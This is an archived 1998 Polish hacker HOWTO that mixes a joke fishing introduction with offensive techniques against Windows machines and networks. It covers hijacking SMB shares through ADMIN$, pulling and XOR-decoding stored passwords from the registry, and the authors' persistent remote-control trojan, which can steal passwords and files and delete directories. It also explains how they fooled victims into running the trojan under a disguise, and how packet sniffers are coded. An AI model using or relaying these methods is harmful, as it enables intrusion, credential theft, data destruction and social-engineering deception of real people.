home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / hack / PDFAQ.ZIP / PDFuckU.txt < prev    next >
Encoding:
Text File  |  1998-03-15  |  38.8 KB  |  756 lines

  1. Witam w pierwszym (byµ mo┐e ostatnim) FAQ (w│asciwie to ┐adne FAQ, bardziej
  2. HOWTO) duetu Permission Denied sk│adaj▒cego siΩ z Maxia i Pimposha. Dali╢my
  3. tu troche rzeczy kt≤rych siΩ nauczyli╢my w naszej niezbyt d│ugiej karierze.
  4. Byµ mo┐e znasz te numery,byµ mo┐e nie od nas, byµ mo┐e nawet hacking wog≤le
  5. CiΩ nie interesuje, ale w ko±cu nikt Ci nie ka┐e tego czytaµ. No wiΩc spis:
  6.  
  7.  0. Wprowadzenie (by pimposh)
  8.   0.1 Jak haczyµ by wyhaczyµ
  9.   0.2 Epilog
  10.   0.3 Co zrobiµ jak CiΩ stra┐ przybrze┐na z│apie
  11.  1. Rozwalanie windy
  12.   1.1 Administracja zdalna i co z tego wynika (Pimposh) (jeszcze nie ma)
  13.   1.2 Let's dance Samba (Maxiu)
  14.   1.3 Co mo┐na wyci▒gn▒µ ciekawego z rejestr≤w (Maxiu)
  15.   1.4 Uniwersalny Overtaker do windows≤w czyli
  16.        Prisoner of Gates System (pogs.exe by Maxiu)
  17.   1.5 R≤┐ne tricki z pogsem (Maxiu)
  18.  2. Sniffing i spoofing
  19.   2.1 LinSniff czyli najprostsza droga do hase│ek (Maxiu)
  20.   2.2 Wielkie zamieszanie na kablu, czyli czemu
  21.        nagle wyszed│em z irca (Maxiu)
  22.  3. Troche exploit≤w
  23.   3.1 Xokienka (Maxiu)
  24.  4. Tylne drzwi, czyli co mi zrobisz jak mnie z│apiesz
  25.   4.1 Teoria prostych backdoork≤w (Maxiu)
  26.   4.2 TCP-wrapper ciΩ uchroni (od wykrycia :) (Maxiu)
  27.   4.3 CGI backdoor
  28.   4.4 Suid bash dla wybranych
  29.   4.5 Aliasy pocztowe
  30.  5. (Punkt wyciΩty ze wzglΩdu na mierne przygotowanie)
  31.  6. No nie wiem gdzie te umie╢ciµ
  32.   6.1 DCCHiJacker (Maxiu)
  33.   6.2 Przenoszenie bez ftpa (Maxiu)
  34.   6.3 Czyszczenie wtmp (Maxiu) (jeszcze nie ma)
  35.  APPENDIX A. Disclaimer
  36.  APPENDIX B. Greets from Maxiu
  37.  APPENDIX C. Greets from Pimposh (jeszcze nie ma)
  38.  APPENDIC D. Historia mojego ┐ycia (ale nie dzi╢ ;)
  39.  
  40. 0.1 jak haczyc by wyhaczyc
  41.  
  42.   Dzie± dobry. Jak m≤wi punkt 1 w tym artykule bΩdziemy my╢lec jak haczyµ
  43.  ┐eby wyhaczyc. Oczywi╢cie dla niewtajemniczonych dodam ┐e chodzi nam gl≤wnie
  44.  o po│owy rybackie gdy┐ jest to zajΩcie coprawda pracoch│onne, ale daj▒ce
  45.  korzy╢ci w postaci ryb do jedzenia. Zacznijmy od tego co i dzie mo┐emy
  46.  haczyµ. wiec tak:
  47.  - haczyc mo┐na prawie wszΩdzie gdzie jest zbiornik cieczy (moczu, ka│u┐y,
  48.    toaleta)
  49.  - aby haczyc nie trzeba posiadaµ uprawnie± hakera, nale┐y posiadaµ jedynie
  50.    sw≤j w│asny stuff o kt≤rym napiszΩ w dalszej czΩ╢ci
  51.  - mo┐na haczyµ prawie wszystko ale g│≤wnie nale┐y skoncentrowaµ siΩ na
  52.    rybach gdy┐ one s▒ najwa┐niejsze
  53.  - haczenie dozwolone jest od lat 12
  54.  - je┐eli nie haczysz to nie psuj zabawy innym
  55.  - jezeli haczysz to daj innym te┐ pohaczyµ na twoim terenie
  56.  - ryby w standardzie IPv6 sa nieobs│ugiwane przez protoko│y trasmisji
  57.    ┐y│ki (1)
  58.  - je┐eli ju┐ wyhakujemy co by│o, oskrobiemy rybΩ lub inny po│≤w z 
  59.    │usek/kupy/itp to nale┐y po sobie posprz▒taµ
  60.   To tyle o og≤lnych zasadach haczenia. Teraz jak haczyc ┐eby wyhaczyµ.
  61.  Oczywi╢cie do haczenia potrzebny jest stuff. Stuff do haczenia dzielimy na:
  62.  - system transmisji miΩdzy │ebkiem a j▒drem
  63.  - haki (tu chyba specem jest #hackpl/#lublin - martinez (BuraQ Tim))
  64.  - main frame (np. wΩdka ?)
  65.  O systemie transakcji wiele napisaµ nie mozna, aczkolwiek jego budowa nie
  66.  jest skomplikowana, chodzi tu poprostu o transmisjΩ danych binarnych po
  67.  ┐y│ce rozmiar 6 miΩdzy │ebkiem (ko±c≤wk▒ przedni▒ main framu a j▒drem czyli
  68.  szpula). Natomiast haki to rzecz wa┐na, od nich zale┐y wiele rzeczy:
  69.  - im mniejszy hak tym lepszy
  70.  - twardszy i nowszy hak dzia│a na wiΩkszych obszarach
  71.  - niekt≤re haki s▒ niezbadane wiΩc ich u┐ywanie grozi niebezpiecze±stwem
  72.   Haki og≤lnie dzielimy na:
  73.  - tytanowo-molibdenowe = charakteryzuj▒ siΩ dobrym stosunkiem ceny do
  74.    mo┐liwo╢ci, na nie mo┐na z│apaµ wiele po│owu
  75.  - miedziane = dobre na pocz▒tek
  76.  - aluminiowe = g│≤wnie z teren≤w by│ego ZSRR, miΩkkie, ale te z lat
  77.    1986-1992 z miejsc w promieniu 100 kilometr≤w od Chernobyla s▒ wyj▒tkowo
  78.    dobre - maj▒ wade jednak, poniewa┐ czΩsto bywa ┐e ich w│a╢ciciele z
  79.    niewiadomych powod≤w umieraj▒ na bia│aczkΩ
  80.  - plastikowe = lamah!, to dla dzieci
  81.   TaK. Wiemy ju┐ co potrzebne jest nam do haczenia. Nie wiemy tylko o jakiej
  82.  porze. Ano najlepsze wyniki osi▒ga siΩ podczas po│ow≤w nocnych ewentualnie
  83.  wczesnym porankiem. Teraz musimy siΩ dowiedzieµ jak podej╢µ do │owiska.
  84.  Najwa┐niejsze jest to ┐eby podej╢µ w miarΩ cicho, wtedy kiedy wszyscy
  85.  ╢pia etc. Najpierw nale┐y og≤lnie spenetrowaµ teren ┐eby wiedzieµ co siΩ │owi.
  86.  Je┐eli nie wiemy co wystΩpuje na danym terenie nale┐y spojrzeµ do gazety
  87.  MALY W╩DKARZ, do sekcji mapy. Znajdziemy tam napewno nasze │owisko i tym samym
  88.  dowiemy siΩ co mo┐na tu z│owiµ. Ah. Zapomnia│em o przynΩcie. Czasami wymagane
  89.  jest za│o┐enie na haka przynΩty. Mo┐na j▒ zrobiµ albo z kupy, ale powinna byµ
  90.  w miarΩ ╢wie┐a. Mo┐na te┐ j▒ zrobiµ z zaschniΩtych wymiocin, element≤w
  91.  wymiotowanej marchewki lub groszku, ale uprzedzam - to mo┐e byµ aprzyjemne.
  92.  Teraz zajmiemy siΩ najwa┐niejszym, czyli jak i co robiµ ┐eby odnie╢µ sukces:
  93.  1) idziemy na │owisko
  94.  2) penetrujemy teren
  95.  3) je┐eli nie widaµ kokurencji zarzucamy haki najlepiej jak umiemy
  96.  4) patience is a virtue ((c) lcamtuf)
  97.  5) zadowoleni z wynik≤w wracamy do domu
  98.  
  99. 0.2 Epilog
  100.  
  101.  Oczywi╢cie problem hak≤w i hakerowania nie zosta│ tu w pe│ni rozwiniΩty,
  102.  jedynie przedstawi│em jego og≤lne zarysy, byµ mo┐e przyda siΩ komu╢ z was,
  103.  podczas w│asnych po│ow≤w. aaa. I jeszcze jeden punkt:
  104.  
  105. 0.3 Co zrobiµ jak stra┐ przybrze┐na ciΩ z│apie
  106.  
  107. A Oczywi╢cie nie ka┐dy lubi rybak≤w. WiΩc czΩsto siΩ zda┐a ┐e odpowiednie
  108.  w│adze zabieraj▒ haki i siΩ pluj▒, wtedy nale┐y albo uciekaµ, albo udawaµ
  109.  wariata kategori D, albo pope│niµ samob≤jstwo gdy┐ g┐ywny za hakerowanie
  110.  bywaj▒ okrutnie wysokie. .... cnd
  111.  
  112. 1.2 Let's dance Samba
  113.  
  114.   Samba jest pakietem program≤w dla unix≤w obs│uguj▒ca protok≤│ SMB,
  115.  kt≤ry jest wykorzystywany w windach do sporej ilo╢ci czynno╢ci, np.
  116.  transferu plik≤w. Za pomoc▒ smbclient-a mo┐na sporo namieszaµ komu╢
  117.  kto ma skonfigurowane udostΩpnianie plik≤w (a maj▒ to zazwyczaj ci,
  118.  co siedz▒ poza inernetem jeszcze w sieci lokalnej, chocia┐ zdarzaj▒
  119.  siΩ i inni).  DostΩp do plik≤w mo┐e byµ zahas│owany, mog▒ byµ pliki
  120.  (a w│asciwie foldery) tylko do odczytu no i r≤┐ne takie przeszkody.
  121.  Ale zazwyczaj pozostaje co╢ w stylu skrzynki na listy z mo┐liwo╢ci▒
  122.  zapisu, wtedy wystarczy namierzyµ kt≤ry to zas≤b i zawaliµ go╢ciowi
  123.  dysk ╢mieciami. Ale mo┐na i podes│aµ mu trojana takiego jak Pimposh
  124.  zrobi│ i pobawiµ siΩ inaczej  :)  Gdy znamy has│o gostka do zdalnej
  125.  administracji,wchodzimy na zas≤b ADMIN$, podajemy has│o i wy│azimy.
  126.  Teraz sprawdzamy jakie zasoby ma i co widzimy?  Ano ┐e dosz│o kilka
  127.  nowych, zazwyczaj C$,A$ i takie tam z dolarem na ko±cu. S▒ to dyski
  128.  kt≤rych nie udostΩpnia│, ale poniewa┐ weszli╢my na ADMIN$, s▒ tylko
  129.  dla nas dostΩpne, has│o do nich jest takie samo jak do ADMIN$ ,wiΩc
  130.  mo┐emy siΩ poruszaµ po ca│ym dysku z mo┐liwo╢ci▒ zapisu!  Wystarczy
  131.  kilka motyw≤w w stylu zmiana *.ini czy autoexeca i gostek upieczony
  132.  :)Mo┐na te┐ co╢ wstawiµ do \windows\pulpit\autostart czy podobnego.
  133.  Innym sposobem na wnerwienie bez znania nawet has│a, jest wysy│anie
  134.  setek wiadomo╢ci do WinPopUpa, ale tylko jak ma uruchomiony program
  135.  do ich obierania (NT ma standardowo). No ale nie ma nic za │atwo bo
  136.  trzeba znaµ nazwe komputera:(Zazwyczaj jest to nazwisko w│a╢ciciela
  137.  albo funkcja kompa, ale nie zawsze. Jest spos≤b na pobieranie nazwy
  138.  od samego kompa, ale nie w sambie,trzeba siΩ pos│u┐yµ innym progra-
  139.  mem (Samba Scanner, ale nie jestem pewien). Mo┐na te┐ u┐yµ M$ IE4.0
  140.  kt≤ry ma wbudowane mechanizmu do odczytu przez SMB,podaje siΩ tylko
  141.  IP bez nazwy, wiΩc nazwΩ NAPEWNO da siΩ odczytaµ.
  142.   Na koniec trochΩ sk│adni smbclient-a (najwa┐niejsze opcje):
  143.   
  144.    smbclient \\\\nazwa_kompa\\nazwa_zasobu - najprostszy dostΩp do
  145.          zasobu, uruchamia program podobny do ftp
  146.    smbclient -L nazwa_kompa - podaje spis udostΩpnionych zasob≤w
  147.    smbclient -M nazwa_kompa - wys│anie popupa
  148.  
  149.   Do tego dochodz▒ trzy opcje do ukrywania siΩ:
  150.  
  151.     -n <netbios name> - pod tak▒ nazw▒ bΩdziesz wy╢wietlany w
  152.                         monitorze sieci
  153.     -U <username> - i jako taki u┐ytkownik, niekt≤re zasoby s▒
  154.                     tylko dla okre╢lonych uzytkownik≤w, wiΩc
  155.                     mo┐na siΩ podszywaµ
  156.     -W <workgroup> - "twoja" nazwa grupy roboczej
  157.  
  158.    Je╢li chcesz byµ pewien ┐e nie po│apie siΩ o co chodzi, to mo┐esz
  159.   skasowaµ netwatch.exe czyli monitor sieci.
  160.  
  161. 1.3 Co mo┐na wyci▒gn▒µ ciekawego z rejestr≤w
  162.  
  163.   Przedewszytskim has│a, has│a i jeszcze raz has│a.  Dziwna polityka
  164.  Necrosoftu polega na tym,  ┐e prawie wszystkie has│a s▒ umieszczone
  165.  w dw≤ch plikach rejestru (SYSTEM.DAT i USER.DAT) i jeszcze dostΩpne
  166.  dla dowolnego programu.No c≤┐, nie wymagajmy za du┐o od pana Gatesa
  167.  bo napewno mia│ w tym jaki╢ do╢µ g│Ωboko ukryty cel. No wiΩc prawie
  168.  ka┐dy program kt≤ry potrzebuje jakiego╢ has│a, zapisuje go gdzie╢ w
  169.  rejestrze (prawie bo s▒ i inne programy jak wsftp kt≤re zapisuj▒ je
  170.  w osobnych plikach),problem polega na znalezieniu go i odkodowaniu.
  171.  Z bardziej znanych miejsc mo┐na wymieniµ:
  172.  
  173.   Microsoft News & Mail (ten z 95) - w rejestrze
  174. HKEY_CURRENT_USER\Software\Microsoft\Internet Mail and News\Mail\POP3
  175.  znajduj▒ siΩ rejestry o nazwie serwera pocztowego (np. polbox.com),
  176.  a w nim pola 'Account' kt≤re zawiera nazwΩ konta i 'Password' kt≤re
  177.  ma upragnione hase│ko. Hmmm, zakodowane, ale banaln▒ metod▒ BASE64,
  178.  dekoder do tego napisa│ wojtekka w pascalu jakby kto╢ chcia│.
  179.  
  180.   share-level passwords - s▒ to hase│ka do zasob≤w sambowych
  181.  
  182. HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\
  183.  \LanMan\<zas≤b>
  184.   zas≤b to wiadomo co, mamy tam kilka p≤l. Flags i Type zostawmy komu
  185.  innemu, nas interesuj▒ g│≤wnie Path-╢cie┐ka do udostΩpnianego zasobu
  186.  Param1enc - zakodowane has│o do pe│nego dostΩpu, Parm2enc - has│o do
  187.  dostΩpu tylko do czytania. Spos≤b kodowania, jak przysta│o na MSoft,
  188.  nie jest zbyt wymy╢lny.  Znam dwa programy do dekodowania,  jeden ma
  189.  883 linie, a drugi 10 :)  Wystarczy kolejne znaki zxorowaµ kolejno z
  190.  0x35, 0x9a, 0x4d, 0xa6, 0x53, 0xa9, 0xd4, 0x6a  i otrzymujemy czyste
  191.  hase│ko w ASCII :) Aha, te has│a nie maj▒ dziwnych znaczk≤w i ma│ych
  192.  liter (jakby siΩ komu╢ chcia│o crackowaµ rΩcznie)
  193.  
  194.   Oczywi╢cie jest jeszcze pe│no innych hase│ do odnalezienia, ale nie
  195.  mam program≤w takich jak Eudora czy Outlook wiΩc nie mogΩ ich szukaµ
  196.  Jakby kto╢ trafi│ na nie, to niech mi wy╢le lokacje.
  197.   A teraz ma│y  samouczek obs│ugi rejestr≤w.  Do zmian rΩcznych s│u┐y
  198.  oczywi╢cie regedit.exe. Mo┐e te┐ byµ u┐ywany do zmian automatycznych
  199.  przez jakich╢ plik z zapisanymi zmianami,ale nie jest to odpowiednie
  200.  rozwi▒zanie, bo delikwentowi pokazujΩ siΩ w pasku ┐e zosta│ zapodany
  201.  a to mo┐e spowodowaµ podejrzenia. Znacznie lepszym wyj╢ciem jest API
  202.  windy w kt≤rym s▒ funkcje do tego przeznaczone.  Podam najwa┐niejsze
  203.  
  204.   LONG RegOpenKeyEx(
  205.     HKEY  hKey, // handle of open key
  206.     LPCTSTR  lpszSubKey,        // address of name of subkey to open
  207.     DWORD  dwReserved,  // reserved
  208.     REGSAM  samDesired, // security access mask
  209.     PHKEY  phkResult    // address of handle of open key
  210.    );
  211.  
  212.   Ta funkcja otwiera rejestr i zwraca jego uchwyt. hKey okre╢la punkt
  213.  widzenia,to znaczy od niego szukany jest rejestr o ╢cie┐ce podanej w
  214.  lpszSubKey.Je╢li chcemy otworzyµ rejestr od pocz▒tku, to trzeba u┐yµ
  215.  w hKey jedn▒ ze standarodwych warto╢ci(g│≤wnie HKEY_LOCAL_MACINE lub
  216.  HKEY_CURRENT_USER ale s▒ i inne, popatrz sobie na pocz▒tku regedita)
  217.  i w lpszSubKey podaµ ╢cie┐ke bez pierwszego cz│onu(hmmm). dwReserved
  218.  ma byµ 0, samDesired najczΩsciej KEY_EXECUTE albo KEY_ALL_ACCESS(gdy
  219.  bΩdziemy co╢ zapisywaµ), a do phkResult funkcja wpisuje uchwyt je╢li
  220.  operacja siΩ powiedzie, a wiemy o tym poniewa┐ funkcja zwraca ERROR_
  221.  SUCCESS jak wszytsko jest git.
  222.   Pola w otwartym rejestrze odczytujemy funkcj▒
  223.  
  224.   LONG RegQueryValueEx(
  225.     HKEY  hKey, // handle of key to query
  226.     LPTSTR  lpszValueName,      // address of name of value to query
  227.     LPDWORD  lpdwReserved,      // reserved
  228.     LPDWORD  lpdwType,  // address of buffer for value type
  229.     LPBYTE  lpbData,    // address of data buffer
  230.     LPDWORD  lpcbData   // address of data buffer size
  231.    );
  232.  
  233.   Do hKey wpisujemy to co dostali╢my z poprzedniej funkcji,nazwΩ pola
  234.  wpisujemy do lpszValueName, do lpdwReserved NULL (w delphi nil), typ
  235.  jest zwracany w lpdwType(REG_BINARY,REG_DWORD,REG_EXPAND_SZ,REG_SZ),
  236.  lpbData to wska╝nik do bufora o d│ugo╢ci lpcbData (na koniec jest tu
  237.  wpisywana d│ugo╢µ pobranych danych).  Tak jak i w innych funkcjach ,
  238.  zwr≤cona warto╢µ m≤wi o b│Ωdzie (ERROR_SUCCESS to brak b│Ωdu).
  239.   Podobnie zapisujΩ siΩ warto╢ci p≤l:
  240.  
  241. LONG RegSetValueEx(
  242.  
  243.     HKEY  hKey, // handle of key to set value for
  244.     LPCTSTR  lpValueName,       // address of value to set
  245.     DWORD  Reserved,    // reserved
  246.     DWORD  dwType,      // flag for value type
  247.     CONST BYTE *  lpData,       // address of value data
  248.     DWORD  cbData       // size of value data
  249.    );
  250.  
  251.   Do hKey to co zwykle, do lpValueName nazwΩ pola, Reserved ma byµ 0,
  252.  a w dwType typ pola (takie jak poprzednio). Zawarto╢µ pola umieszcza
  253.  siΩ w buforze i jego adres podajemy w lpData a d│ugo╢µ w cbData.
  254.   Po wykonanych operacjach nale┐y rejestr zamkn▒µ:
  255.  
  256. LONG RegCloseKey(
  257.  
  258.     HKEY  hKey  // handle of key to close
  259.    );
  260.  
  261.   Wystarczy  do hKey wpisaµ uchwyt.  Po tej operacji nie mo┐na ju┐ go
  262.  wykorzystywaµ.
  263.   Z po┐ytecznych innych funkcji pozostaje RegCreateKeyEx i RegEnumKey
  264.  ale nie chce mi siΩ opisywaµ, zobaczcie sobie sami.
  265.  
  266. 1.4 Uniwersalny Overtaker do windows≤w czyli Prisoner of Gates System
  267.  
  268.   Pewnego dnia zachcia│o mi siΩ napisaµ program, kt≤ry umo┐liwi│by mi
  269.  sterowanie czyj▒╢ wind▒ (co╢ jak in.telnetd). Poniewa┐ nie mam C pod
  270.  winde z wykorzystaniem winsock≤w, to napisa│em go w Delphi (wizualny
  271.  Pascal). No i skromnie przyznam ┐e mi nawet wyszed│ :) Mo┐liwo╢ci ma
  272.  dosyµ spore, jak mi co╢ przychodzi do │ba to rozbudowywujΩ go.Siedzi
  273.  sobie na porcie 500 i nas│uchuje na klienta,  niestety nie napisa│em
  274.  go jako serwer wsp≤│bie┐ny wiΩc only one client at a time. Ale nicto
  275.  I tak powinna korzystaµ z niego osoba uprawniona :)Po po│▒czeniu nic
  276.  siΩ nie dzieje, a dok│adniej czeka na has│o.  Nie wy╢wietla przedtem
  277.  nic i zrywa po│▒czenie jak has│o by│o b│edne.  Zrobi│em tak dlatego,
  278.  ┐e nie chcΩ aby dowolnemu lamerowi ze skanerem port≤w pokazywa│a siΩ
  279.  winetka "Jestem fstrΩtn▒ wind▒, za│atw mnie". No wiΩc po wpisaniu go
  280.  (przedtem has│o by│o sta│e,teraz jest wersja w kt≤rej mo┐na je sobie
  281.  zmieniµ ┐eby nikt nam nie podebra│ ofiary :) ukazuje siΩ nazwa pogsa
  282.  i ┐e "h to help". Od tego propnuje zacz▒µ. Help mam nadziejΩ ┐e jest
  283.  jest czytelny.Z bardziej pokrΩconych komend jest run i jego odmiany.
  284.  Chodzi o to ┐e programy mo┐na uruchamiaµ na r≤┐ne sposoby:
  285.   runa - uruchamia aplikacje, np.jak chcemy ┐eby gostkowi siΩ pokaza│
  286.    netscape czy co╢ innego, po prostu jak chcemy mu to pokazaµ
  287.   runs - najcichsza wersja run, wiΩkszo╢µ program≤w wog≤le sie nie
  288.    poka┐e (ale np.netscape wyskakuje, ale p≤╝niej). Dobre do zawalania
  289.    pamiΩci i procesora. Nie jest wykorzystywane command.com!
  290.   runc - u┐yteczna forma Run, wynik z programu jest kierowany do pliku
  291.    kt≤ry mo┐emy odczytaµ. Nie wszystkie programy daj▒ wynik na stdout,
  292.    np. wiele program≤w w pascalu co ogranicza nieco zastosowanie
  293.   run - pierwsze run, po prostu uruchamia, stara siΩ w postaci
  294.    zminimalizowanej, ale nie zawsze siΩ udaje
  295.   Sorry tyle zamieszania, ale nie znalaz│em tego jedynego sposobu. Do
  296.  odczytu wyj╢cia z runc s│u┐y viewc a do jego kasowania erasec. Je╢li
  297.  go╢ciu ciΩ wkurzy│, to u┐yj "destroy" np. w katalogu \windows,kasuje
  298.  wszystkie pliki. "admin" robi zdaln▒ administracjΩ na has│o "lamer",
  299.  "passm" pobiera has│o z rejestr≤w od IN&M i rozkodowywuje je.Doda│em
  300.  jeszcze "passn" kt≤re POWINNO pobieraµ has│o od netscapea bez dekodu
  301.  ale nie wiem czy dzia│a,  nigdzie nie sprawdza│em a spos≤b wzi▒│em z
  302.  rootshella.  Pozostaje jeszcze kwesta podania pacjentowi trojana. Ja
  303.  to robi│em zazwyczaj udaj▒c lamera  i m≤wi▒c ┐e napisa│em kalkulator
  304.  w delphi i prosi│em o wypr≤bowanie.  Gostek uruchamia│ i nic siΩ nie
  305.  dzia│o, wiΩc t│umaczy│em ┐e napewno potrzebuje jakich╢ bibliotek. Na
  306.  tym siΩ ko±czy│ dialog i zaczyna│a zabawa. Ostatnio napisa│em trojca
  307.  Anuke.exe kt≤ry zabezpiecza przed nukiem, ale podstawia pogsa.úadnie
  308.  wygl▒da wiΩc ludzie rozdaj▒ go dalej i jest piknie, s│o±ce ╢wieci :)
  309.  Pogs jest tak napisany ┐e kopiuje siΩ w bezpieczne miejsce,  wstawia
  310.  do rejestr≤w do autostarta i nawet po skasowaniu pogs.exe czy innego
  311.  i restarcie kompa,  on dalej siedzi i jest gotowy.  Do pogsa doda│em
  312.  komendy pobierania i podstawiania pliku, s▒ one trochΩ dziwne,  wiΩc
  313.  jeszcze wyt│umaczΩ jak siΩ tym pos│ugiwaµ.  Komendy "put" oraz "get"
  314.  otwieraj▒ ponownie port 500. "get" wysy│a przez ten port dane, "put"
  315.  pobiera. Wystarczy wiΩc telnetn▒µ siΩ ponownie na pogsa i dostajemy/
  316.  dostarczamy dane. NIEWYGODNE! Ale chodzi│o mi o mo┐liwo╢µ sterowania
  317.  tylko telnetem.  Wygodniejsze jest korzystanie z mojego pomocniczego
  318.  programu "transfer" pod linuxa w C, kt≤ry robi wszystko szybko i │a-
  319.  dnie. Na koniec troche o upgradzie.Poniewa┐ byµmo┐e bΩd▒ nowe wersje
  320.  pogsa, wiΩc do│o┐y│em mo┐liwo╢µ upgrada.Jest to troche skomplikowane
  321.  poniewa┐ w win95 nie da siΩ zapisaµ do pliku kt≤ry jest uruchomiony,
  322.  czyli przes│oniΩcia starej wersji now▒.  Dlatego trzeba przez  "put"
  323.  przegraµ nowego pogsa w jakie╢ bezpieczne miejsce i szybko wykonaµ:
  324.  
  325.   run nowy_pogs
  326.   k
  327.   q
  328.  
  329.   Spowoduje to uruchomienie nowego, on nie bΩdzie m≤g│ sie zast▒piµ i
  330.  zacznie czekaµ p≤│ minuty. W tym czasie "k" i "q" wy│▒cz▒ ca│kowicie
  331.  star▒ wersjΩ i nowa bΩdzie mog│a siΩ nadpisaµ. Straszne, co nie?
  332.  
  333. 1.5 R≤┐ne tricki z pogsem
  334.  
  335.   No dobra, ale po co nam ten pogs, kto╢ zapyta. W│a╢ciwie nie wiem:)
  336.  G│≤wnie korzystam z mo┐liwo╢ci odczytu hase│, kilka nowych kont mo┐e
  337.  siΩ przydaµ. Poza tym mo┐na przecie┐ ogl▒daµ pliki tekstowe, takiemu
  338.  jednemu podprowadzi│em nr konta,innemu ciekawe teksty. Mo┐liwo╢ci s▒
  339.  tylko trzeba pomy╢leµ.  Chyba najwiΩksze daje run, szczeg≤lnie runc.
  340.  mo┐emy np. zrobiµ
  341.  
  342.   runc net view
  343.   viewc
  344.  
  345.  i wiemy z kim jest gostek w sieci,wtedy przesy│amy innym na skrzynki
  346.  czy inne otwarte zasoby pogsa ze zmienion▒ nazw▒ i tekstem w stylu:
  347.  
  348.   "Franek, obejrzyj to, fajna przegl▒darka do gif≤w. Andrzej"
  349.  
  350.  z podstawionymi imionami z sieci, takim osobom raczej │atwo uwie┐▒ i
  351.  uruchomia, a wtedy :) new victim.  Postudiujcie na temat komendy net
  352.  to zobaczycie co mo┐na.
  353.  
  354. 2.1 LinSniff czyli najprostsza droga do hase│ek
  355.  
  356.   Problem ka┐dy zna, w dowolnym miejscu kabla mo┐na wyci▒gn▒µ z niego
  357.  wszystko co przez niego przechodzi.  Rad▒ na to mo┐e byµ switch-eth,
  358.  ale i na to s▒ sposoby. Pewnie u┐ywa│e╢ ju┐ program≤w typu linsniff,
  359.  ich obs│uga jest banalna, a dostarczane informacje bardzo cenne. Ale
  360.  jak to dzia│a?  Raczej ma│o u┐ywaj▒cych tego ludzi wie w jaki spos≤b
  361.  to wog≤le dzia│a.
  362.   Zasada jest prosta. Karta sieciowa standardowo przyjmuje z kabla to
  363.  co powinna,tzn. por≤wnuje adres docelowy z nag│≤wka pakietu ze swoim
  364.  przypisanym, niepowtarzalnym numerem 6-bajtowym. Ale wiΩkszo╢µ kart,
  365.  mo┐e nawet wszystkie,da siΩ przestawiµ w specjalny tryb w kt≤rym eth
  366.  przyjmuje wszystkie pakiety z kabla. Ten tryb to Promiscuous receive
  367.  mode(IFF_PROMISC).Oczywi╢cie nie oznacza to ┐e komputer je wszystkie
  368.  wykorzysta i bΩdzie reagowaµ na pakiety nie przeznaczone do niego(np
  369.  nie bΩdzie reagowaµ na pr≤by nawi▒zania po│▒czenia z innym kompem ).
  370.  Te nieodpowiednie pakiety s▒ odrzucane przez j▒dro jako b│Ωdne,  ale
  371.  przedtem mo┐emy je odczytaµ :) Niestety nie mo┐na tego robiµ tak jak
  372.  zawsze, poszczeg≤lne datagramy musz▒ byµ analizowane przez sniffera.
  373.  Na pzryk│adzie linsniffa wyt│umaczΩ poszczeg≤lne kroki (lepiej mieµ
  374.  przed sob▒ ╝r≤d│a bo bΩdΩ przytacza│ tylko wa┐niejsze kawa│ki):
  375.  (jeszcze jedno, w tym momencie pad│y mi nerwy i odt▒d tekst nie bΩdzie
  376.   taki r≤wny, wierzcie mi, pisanie tak to koszmar!)
  377.  
  378.   1. Przestawienie karty w tryb IFF_PROMISC i utworzenie gniazda
  379.    Nale┐y otworzyµ i odpowiednio skonfigurowaµ gniazdo kt≤re bΩdzie
  380.    potem u┐ywane do komunikacji
  381.     fd = socket(AF_INET, SOCK_PACKET, htons(0x800));
  382.    AF_INET oznacza rodzinΩ adres≤w internetu
  383.    SOCK_PACKET oznacza ┐e chcemy pobieraµ poszczeg≤lne pakiety
  384.    0x800 oznacza ┐e przyjmujemy tylko pakiety o znaczniku 0x800 czyli
  385.     internetowe
  386.    NastΩpnie nale┐y przypisaµ gniazdku odpowiedni interfejs i pobraµ
  387.    informacje o jego stanie
  388.     s = ioctl(fd, SIOCGIFFLAGS, &ifr);
  389.    ifr to struktura ifreq opisuj▒ca interfejs, jej pole ifr_name
  390.     zawiera nazwΩ interfejsu (np. "eth0")
  391.    Teraz najwa┐niejsze, przestawiamy kartΩ w tryb Promiscous
  392.     ifr.ifr_flags |= IFF_PROMISC;
  393.     s = ioctl(fd, SIOCSIFFLAGS, &ifr);
  394.    ifr zawiera teraz ustawiony bit IFF_PROMISC, czyli rz▒damy zmiany
  395.     trybu karty
  396.  
  397.   2. Przygotowanie bufora na pakiety
  398.    Tworzona jest struktura etherpacket i jest przypisywana do zmiennej
  399.    ep. Struktura ta odtwarza kolejno╢µ nag│≤wk≤w i danych w pakiecie
  400.    ethernetowym (najpierw jest nag│≤wek ethernetowy, potem ip, dalej tcp
  401.    i w ko±cu dane). Dodatkowo ┐eby u│atwiµ dostΩp do nag│≤wk≤w ip oraz
  402.    tcp, ustawiane s▒ zmienne pomocnicze ip i tcp wskazuj▒ce na nag│≤wki.
  403.     ip = (struct iphdr *)(((unsigned long)&ep.ip)-2);
  404.     tcp = (struct tcphdr *)(((unsigned long)&ep.tcp)-2);
  405.    (ale za ch??a nie wiem czemu s▒ przesuniΩte o 2 bajty)
  406.   3. Utworzenie zmiennej victim opisuj▒cej "ofiarΩ pods│uchu"
  407.    Struktura tej zmiennej zawiera adres i porty nadawcy i odbiorcy, ilo╢µ
  408.    przeczytanych bajt≤w, znacznik aktywno╢ci i czas nadej╢cia pierwszego
  409.    pakietu. Funkcja clear_victim() czy╢ci t▒ strukturΩ. Ten kawa│ek pokazuje
  410.    s│abo╢µ linsniffa, obs│uguje on na raz tylko jeden strumie± tcp, od jego
  411.    nawi▒zania a┐ do wyczerpania limitu czasu TIMEOUT, odczytania limitu
  412.    bajt≤w CAPTLEN lub jego zako±czenia, w tym czasie nie zajmuje siΩ ┐adnymi
  413.    innymi, wiΩc jak w tym czasie otworzy siΩ 100 innych po│▒cze±, linsniff
  414.    je oleje. Oczywi╢cie nie jest trudno przebudowaµ go tak ┐eby by│
  415.    wielopo│▒czeniowy, wystarczy ztablicowaµ zmienn▒ victim, zmieniµ ┐eby
  416.    po odczycie obs│ugiwana by│a odpowiednia pozycja w victim i dodaµ
  417.    bufory wyj╢cia ┐eby nie by│o ╢mieci w pliku (wynik zapisywany po
  418.    zako±czeniu obs│ugi strumienia). Hmm, no trochΩ roboty jest, ale dla
  419.    chc▒cego nic trudnego. Poza tym w ma│ych sieciach o ma│ym ruchu linsniff
  420.    wystarcza.
  421.   4. Odczytanie pakietu i zanalizowanie go
  422.    Pakiet odczytujemy tak:
  423.     x = read(s, (struct etherpacket *)&ep, sizeof(ep));
